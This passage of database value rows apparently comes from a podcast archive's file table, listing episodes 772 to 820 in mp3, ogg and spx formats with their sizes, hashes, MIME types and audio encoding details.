(772,'hpr0772.mp3','mp3',9475581,'30c9aabde8eaca5123688eb233480ba366fb12e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(772,'hpr0772.ogg','ogg',6322190,'bb02d44d63ba93fed64c3e7f0a7f1d0f44f694e8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(772,'hpr0772.spx','spx',2175847,'931c6bfa1d0f725bb1c28aa4e7b62b047da03e61','application/ogg; charset=binary','Ogg data, Speex audio'),
(773,'hpr0773.mp3','mp3',20506297,'1b4b07c11402e11a0ed3d9baa6022cedee4d42f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(773,'hpr0773.ogg','ogg',12812246,'f273184f9f6043444ce59f9f8918fc31f773936f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(773,'hpr0773.spx','spx',6105858,'ff5f153e74c139620057c8cc18fda6bc0ffa981b','application/ogg; charset=binary','Ogg data, Speex audio'),
(774,'hpr0774.mp3','mp3',2486077,'090e484b8be0347f72caf4980c0586b923602d95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(774,'hpr0774.ogg','ogg',3046571,'620afa279524b781caf3f14eca3c850976531c81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(774,'hpr0774.spx','spx',1982387,'0b0cb5cefe0e24bfe614e9033d8d27ac21fa1b2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(775,'hpr0775.mp3','mp3',44176844,'402650b1b5afe0da0f0024e7ee332477a7980d97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(775,'hpr0775.ogg','ogg',33321452,'004f6c63700943fadeafbf6d9e72591961c98ae5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(775,'hpr0775.spx','spx',15365908,'2a92016ca244848c5d5bb3a0c0de8685bb650eb2','application/ogg; charset=binary','Ogg data, Speex audio'),
(776,'hpr0776.mp3','mp3',18530114,'1a3e847e19f6c1f46812c87238b46be5e24f1667','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(776,'hpr0776.ogg','ogg',8665547,'f13831632b4ddac85cf6b6fd36c3d69926d747fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(776,'hpr0776.spx','spx',5516925,'608bd1ec3191e88f6195f4462b2f0aa737eb202c','application/ogg; charset=binary','Ogg data, Speex audio'),
(777,'hpr0777.mp3','mp3',55763137,'d437b41ded43465985f0576ce6fbc23085f2f53f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(777,'hpr0777.ogg','ogg',34493291,'c827e1d1b24b5528ada2a2c77e4f41a634ce21f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(777,'hpr0777.spx','spx',16603114,'59ff670470013448e6dd9cdb3a6f389b0c545485','application/ogg; charset=binary','Ogg data, Speex audio'),
(778,'hpr0778.mp3','mp3',1738752,'2508af0fb1b8a3e4a5a27537023f2f81baefb666','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(778,'hpr0778.ogg','ogg',1217038,'6c20529b40f0a5eefd835d9c5abd39d00322ebf7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(778,'hpr0778.spx','spx',517805,'cc4771b492e8dc2749d25cc32195649700459ea0','application/ogg; charset=binary','Ogg data, Speex audio'),
(779,'hpr0779.mp3','mp3',98254407,'9ce522013d976475317b57918503fdbbc4a72428','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(779,'hpr0779.ogg','ogg',74855316,'215067e004c60e2c9914c9748f35f488bf874277','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(779,'hpr0779.spx','spx',29254354,'f7d64ecfdfe43b86d7ed2520629f58d6109df2e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(780,'hpr0780.mp3','mp3',28878673,'1961740741a71caac9684979055bbc11a8e6451c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(780,'hpr0780.ogg','ogg',12103625,'e38048a1cad3b21b800f3a94ec3fb76995fe88b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(780,'hpr0780.spx','spx',8598549,'775209ae6217b4aac81c7c9827707c4e1d530268','application/ogg; charset=binary','Ogg data, Speex audio'),
(781,'hpr0781.mp3','mp3',11769902,'e906f470b796bb17d09220db468ebe7078e94537','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(781,'hpr0781.ogg','ogg',9767865,'05f530e3c0dd687e0d910f0ace672eec794592cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(781,'hpr0781.spx','spx',3504274,'a80c4cd595dbefcc87a6130b37190dac9b49efb1','application/ogg; charset=binary','Ogg data, Speex audio'),
(782,'hpr0782.mp3','mp3',14876058,'677774526f095886ad0d5b4417fa270e6ec080ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(782,'hpr0782.ogg','ogg',6862918,'be6b6bc064a96a177d5202ad81e72723a693c9a9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(782,'hpr0782.spx','spx',4429468,'5784edcde635dde60bca6b61adfb63dfc19af585','application/ogg; charset=binary','Ogg data, Speex audio'),
(783,'hpr0783.mp3','mp3',33606500,'d122505b6dc93260f78d29489fa8a62e778cc118','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(783,'hpr0783.ogg','ogg',33891952,'54a9beb645da9ce01e4558bc74b28a672857c67d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(783,'hpr0783.spx','spx',7716413,'dbc04f633c2b6078639e4086bad1a5c296c06561','application/ogg; charset=binary','Ogg data, Speex audio'),
(784,'hpr0784.mp3','mp3',5617986,'f4f79277a28232956be43141443147e84f01d133','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(784,'hpr0784.ogg','ogg',6938394,'3767f33abae3612bc318594c0b98ac553bdf3cb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(784,'hpr0784.spx','spx',4790724,'f5118110a68f05f325c53084d39199960c41fd7e','application/ogg; charset=binary','Ogg data, Speex audio'),
(785,'hpr0785.mp3','mp3',6295768,'0f405ed8354805e42ba81c204857ea0bb00f3e69','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(785,'hpr0785.ogg','ogg',5029460,'9566f4d11e41ca9b4a38d8f1040bfbd859919dd7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(785,'hpr0785.spx','spx',1445560,'9f0afae820e4a81ab96265327ba8b7c916e0badc','application/ogg; charset=binary','Ogg data, Speex audio'),
(786,'hpr0786.mp3','mp3',4912121,'a88ae1100e3a642757410f9bb1032e49419dbc08','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(786,'hpr0786.ogg','ogg',2660013,'c380e639c872e7320faea0b005953c1242d46d0d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(786,'hpr0786.spx','spx',1462794,'198e2a0bb87f9e5dc8e7a934e4225b55fd44041e','application/ogg; charset=binary','Ogg data, Speex audio'),
(787,'hpr0787.mp3','mp3',1899051,'b2e73bf6ce0e4ef73cbdaf8abb8e9fd1b20a1a8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(787,'hpr0787.ogg','ogg',1263897,'4e484f6c1517ce9a305e176159cc447f0fd1b98a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(787,'hpr0787.spx','spx',565715,'3818c8563430ca39a0c05f75b7d10b768f654190','application/ogg; charset=binary','Ogg data, Speex audio'),
(788,'hpr0788.mp3','mp3',20420998,'47138a5e1343df0ea712991d5d5dbc08a660f158','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(788,'hpr0788.ogg','ogg',13648600,'d6516f454172677440c3dea13279bb919e3c4825','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(788,'hpr0788.spx','spx',6080455,'0c3110a74e89208074a5188c8d0f44946f411d8c','application/ogg; charset=binary','Ogg data, Speex audio'),
(789,'hpr0789.mp3','mp3',44871960,'922289700d1cb05b60bead62a6aa383411c706c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(789,'hpr0789.ogg','ogg',32320638,'89fb772405c159ae5d30c54ddb520844538029ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(789,'hpr0789.spx','spx',13360503,'935e93feb8ba60de447ac99ed9c018bcf98e29f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(790,'hpr0790.mp3','mp3',4739623,'2b4612b0729381ae65bc23e90a8fc48aae72b1d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(790,'hpr0790.ogg','ogg',4820824,'6a111a3415166a88e0371c1abdecb922e7446997','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(790,'hpr0790.spx','spx',1088462,'718b1ddd8f3f7d99206d5e87ec628d29a804b0e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(791,'hpr0791.mp3','mp3',40016939,'3e03a0ff8ca2b367cfdf4686019aedca91ae68a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(791,'hpr0791.ogg','ogg',21140265,'a31844865e3456042be3eab1368c7a12ea36d7d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(791,'hpr0791.spx','spx',11914932,'6e256e8a4c42b5371ec85d7e8bf7b6deb5097f19','application/ogg; charset=binary','Ogg data, Speex audio'),
(792,'hpr0792.mp3','mp3',17118945,'d8882a0a76c41269049308945f29fe19d89ac39c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(792,'hpr0792.ogg','ogg',8145929,'7fc6b41afe96ab7dc178fe6f36f0f2891f1dad1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(792,'hpr0792.spx','spx',5097248,'cb38066586b6eda20a49910eb100f9d67eeb014e','application/ogg; charset=binary','Ogg data, Speex audio'),
(793,'hpr0793.mp3','mp3',16599040,'154e795115c4c26fc57dc5434f549371f725d75c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 22.05 kHz, Monaural'),
(793,'hpr0793.ogg','ogg',20631087,'95b0cbb49f8599cb63cebc3282a662acda26fd48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(793,'hpr0793.spx','spx',14824773,'31e7c115650aa59838a8010b94b677ecf8e3469a','application/ogg; charset=binary','Ogg data, Speex audio'),
(794,'hpr0794.mp3','mp3',12788057,'63627d1ce9e73fa5ecf4cd0dfd4de1a4bca44527','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(794,'hpr0794.ogg','ogg',15776779,'a01dc618fda3c9f844da6aba56ccee37ff272410','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps, created by: Xiph.Org libVorbis I'),
(794,'hpr0794.spx','spx',12257743,'47d44cdec1d6d692e36790b4bfa964a391a2b1be','application/ogg; charset=binary','Ogg data, Speex audio'),
(795,'hpr0795.mp3','mp3',4188594,'645cfa237e3f602237537433dd89684ab92f3451','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(795,'hpr0795.ogg','ogg',2929676,'50da8cb86a718ece18be8d2211a483f1d97d7725','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(795,'hpr0795.spx','spx',1247361,'c3fb7b712bdad96303d846038d4bb028f5cde787','application/ogg; charset=binary','Ogg data, Speex audio'),
(796,'hpr0796.mp3','mp3',14584503,'0640f56bf44760e9ec62c14a6224dda984f277c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(796,'hpr0796.ogg','ogg',9500769,'3d6bd76d73b20d4a89a03dec013434a0f689a616','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(796,'hpr0796.spx','spx',4342624,'7f27d5a24e9a7d9041ae56da507b663ed87d1d12','application/ogg; charset=binary','Ogg data, Speex audio'),
(797,'hpr0797.mp3','mp3',3453326,'f7ff625e947f9be41ea0e49bbf0861c09073173d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(797,'hpr0797.ogg','ogg',2467117,'ab763ed55900cfd8cc38e6a0a417ccfad3444755','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(797,'hpr0797.spx','spx',1028305,'0e2633c2c848518960d1b6ce358f0db06f9c17e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(798,'hpr0798.mp3','mp3',8747425,'2eed83834668829a4a6aa4587517266217b8701a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(798,'hpr0798.ogg','ogg',4793107,'93c379ca23b511d6fcd37fdb0788b1577e8ea837','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(798,'hpr0798.spx','spx',2604751,'77fe2367d4c2758c735a46ba334696447316e80f','application/ogg; charset=binary','Ogg data, Speex audio'),
(799,'hpr0799.mp3','mp3',3789676,'c8a85a8948bcafcddfbc3b3c3f6b0d6d3e9b5fe7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(799,'hpr0799.ogg','ogg',4083317,'aa2d0147592b8fc68f76caee362a0e8c24b7503d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps, created by: Xiph.Org libVorbis I'),
(799,'hpr0799.spx','spx',3040435,'7df8385663d7aaf31d631d25a1f5afc483f44312','application/ogg; charset=binary','Ogg data, Speex audio'),
(800,'hpr0800.mp3','mp3',5408954,'714c889301790b53550a20d44fb3be8500ca118f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(800,'hpr0800.ogg','ogg',2839271,'3f867f83d2a38d09f35ed01a76e2af1cc0d16b02','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(800,'hpr0800.spx','spx',1610608,'61596be4c2f1e18cd2ccb9be4dc252c380aff129','application/ogg; charset=binary','Ogg data, Speex audio'),
(801,'hpr0801.mp3','mp3',36136821,'058a5d50abb667eb3066cdebb14d645f48ec55de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(801,'hpr0801.ogg','ogg',25599845,'8f4fe6b0a77c6f83564c809e6014f15d4d12c577','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(801,'hpr0801.spx','spx',10759420,'0efc3c64b9472375f01eff8f8b048ae12e403798','application/ogg; charset=binary','Ogg data, Speex audio'),
(802,'hpr0802.mp3','mp3',5387262,'1ebfcccae98016c62d7dba64d994e377e9c9c716','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(802,'hpr0802.ogg','ogg',3781611,'af3bc6494c31ca65cbeb55734add2f54997650c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(802,'hpr0802.spx','spx',1604191,'d882d4392f65912403bb9ed2aaef64ce939e7d2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(803,'hpr0803.mp3','mp3',34353109,'a727f8a9c764fcdb9c4c19e1b26c59407c9f64a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(803,'hpr0803.ogg','ogg',22868923,'3d0f5053187b71077961c24d34625f98996c704c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(803,'hpr0803.spx','spx',10228516,'a9eab3ef423f33f7940f97bac0690f17b28e1f27','application/ogg; charset=binary','Ogg data, Speex audio'),
(804,'hpr0804.mp3','mp3',61139148,'3031bdce05289b9f62942397789dc2103262ef68','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(804,'hpr0804.ogg','ogg',45030785,'e4dfbbdd516157f362caf813334b9abc430bc7cc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(804,'hpr0804.spx','spx',14037859,'5a550fce2ce952fb8bf508fb7752d7c1e150c96d','application/ogg; charset=binary','Ogg data, Speex audio'),
(805,'hpr0805.mp3','mp3',31621615,'62a8b5950756fece34519f3c8d698e8249446b1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(805,'hpr0805.ogg','ogg',15376876,'7a7ca9b63be85082a93f2b0e77f3b727823e2061','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(805,'hpr0805.spx','spx',9415045,'ce241e23eb7c6fe07e2a66f0f8c26ec88b395b82','application/ogg; charset=binary','Ogg data, Speex audio'),
(806,'hpr0806.mp3','mp3',28241696,'7f744929b637bbdd83659f2dceb74ac0178e91fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(806,'hpr0806.ogg','ogg',20557378,'30f56a0a8ceb6aa3a03f16198b9e693c6e360a5e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(806,'hpr0806.spx','spx',8408894,'522469a4f3f38b475aff4901e0ced81b400bfdbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(807,'hpr0807.mp3','mp3',20437335,'0a8ac1c6639c424c9252a9a1bc23ff841c343d85','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
(807,'hpr0807.ogg','ogg',8766410,'16f3eb6ca67635c5f3931b43029184fa3eefe5ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(807,'hpr0807.spx','spx',6085041,'aa865b082d20d4ffd72e6db3b45f73e745ea9280','application/ogg; charset=binary','Ogg data, Speex audio'),
(808,'hpr0808.mp3','mp3',4107501,'95b80f8cd50b8e6693544e753dd80688b257346e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(808,'hpr0808.ogg','ogg',2854044,'68c63783566dcfbe612a567aae6211fb7873a20b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(808,'hpr0808.spx','spx',1223036,'762cf72e25e221816b927fc7bf6913da2987aebb','application/ogg; charset=binary','Ogg data, Speex audio'),
(809,'hpr0809.mp3','mp3',9049845,'e8763a6593a7f87685c227b0fe81ef06da99ce8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(809,'hpr0809.ogg','ogg',6432389,'a4ee9612481b6819aa710bf238f4449b8c66cd03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(809,'hpr0809.spx','spx',2694722,'fa453cc122841ddef7588d8777504e48ebdb8e77','application/ogg; charset=binary','Ogg data, Speex audio'),
(810,'hpr0810.mp3','mp3',7528438,'bb1e01121de93396453583ecdee0f728b8d9c3d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(810,'hpr0810.ogg','ogg',3224003,'bfa303d99a94c5c3ca76773dbbac4f8d431a9252','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(810,'hpr0810.spx','spx',2241590,'afedb037c1f7b8161aee93793c2c84c4d46c6ba4','application/ogg; charset=binary','Ogg data, Speex audio'),
(811,'hpr0811.mp3','mp3',33492502,'c24c812ca942afd9b70682c009b8e1fd2358ed5a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
(811,'hpr0811.ogg','ogg',14813036,'ed741a3da6f3fa7efb1d829d5434527a00f9d146','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(811,'hpr0811.spx','spx',9972157,'8ab6aa2d44c2088874a6a910eddffea70d4f9cf5','application/ogg; charset=binary','Ogg data, Speex audio'),
(812,'hpr0812.mp3','mp3',14696765,'ba0c55c13b24ce2ce6608b7aa24f18f8bde8b09a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(812,'hpr0812.ogg','ogg',7242204,'3b6770427f29835f4112f7e4389a4731fa9ec6db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(812,'hpr0812.spx','spx',4375823,'afc4738e45e737501c80b2372df1d7d704356b11','application/ogg; charset=binary','Ogg data, Speex audio'),
(813,'hpr0813.mp3','mp3',13185155,'edd0145cc1a9ce26487ea174e5a00f44ce3c1d48','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(813,'hpr0813.ogg','ogg',7436761,'51936ce85a7cabf8701c31c9ab88b170c74164b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(813,'hpr0813.spx','spx',3925957,'80d191559e594c82fe622da6f043e3654d6dc956','application/ogg; charset=binary','Ogg data, Speex audio'),
(814,'hpr0814.mp3','mp3',44189447,'7de7d4729328c5df12be5bb059cf01caa48571bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(814,'hpr0814.ogg','ogg',31837502,'9800979b2f9cba05d2cff87c66368d0157f088c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(814,'hpr0814.spx','spx',13157155,'4bf4e7ca2afe92555e38f1343816423ba4ca299f','application/ogg; charset=binary','Ogg data, Speex audio'),
(815,'hpr0815.mp3','mp3',8207880,'87d2565df84d016378829f67788aa1bcb6b20267','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(815,'hpr0815.ogg','ogg',5734004,'25b2dc0848bd0442d46607705db819bcfe09d7b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(815,'hpr0815.spx','spx',2444047,'8da403b3275d56ccfd2fa820ebf401117384e1bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(816,'hpr0816.mp3','mp3',27732870,'6c44cf217b16397655726ba8ff2b03f7a171b78e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(816,'hpr0816.ogg','ogg',27679353,'410232b3c6d70712a48edd8e68737a7a2c25f2e4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(816,'hpr0816.spx','spx',6367789,'3beeb49aaa75b705058ad732c068683bffc50453','application/ogg; charset=binary','Ogg data, Speex audio'),
(817,'hpr0817.mp3','mp3',2553856,'00b23d248abf24d9d7fb1fdf50615482662653de','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(817,'hpr0817.ogg','ogg',3420865,'20d2202a2a78f2db7fd729a376d8334157471e24','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(817,'hpr0817.spx','spx',1140793,'0012372621d10980b211ca9d6f468cb4904434d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(818,'hpr0818.mp3','mp3',12370544,'7d9dbd675a96627dc463f3a1da612a2a340d9885','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(818,'hpr0818.ogg','ogg',10665815,'4dff1f071359b4c9d05fb8ff0fd23767e910c1dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(818,'hpr0818.spx','spx',5798108,'6dfb30696a20fde295f5bf05a3167909c073ed62','application/ogg; charset=binary','Ogg data, Speex audio'),
(819,'hpr0819.mp3','mp3',5980437,'51e6101e310abb2f79bd15adf232930a977397dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(819,'hpr0819.ogg','ogg',3996840,'e77ebf39ab2f2967a21a8e27faef358cd7e4965d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(819,'hpr0819.spx','spx',1773925,'37c539b8a9927b9d4654c1d74f986b43d28a56b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(820,'hpr0820.mp3','mp3',15757861,'4f33e67a0c1dc9f96c5569d48f7d9d6174582960','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
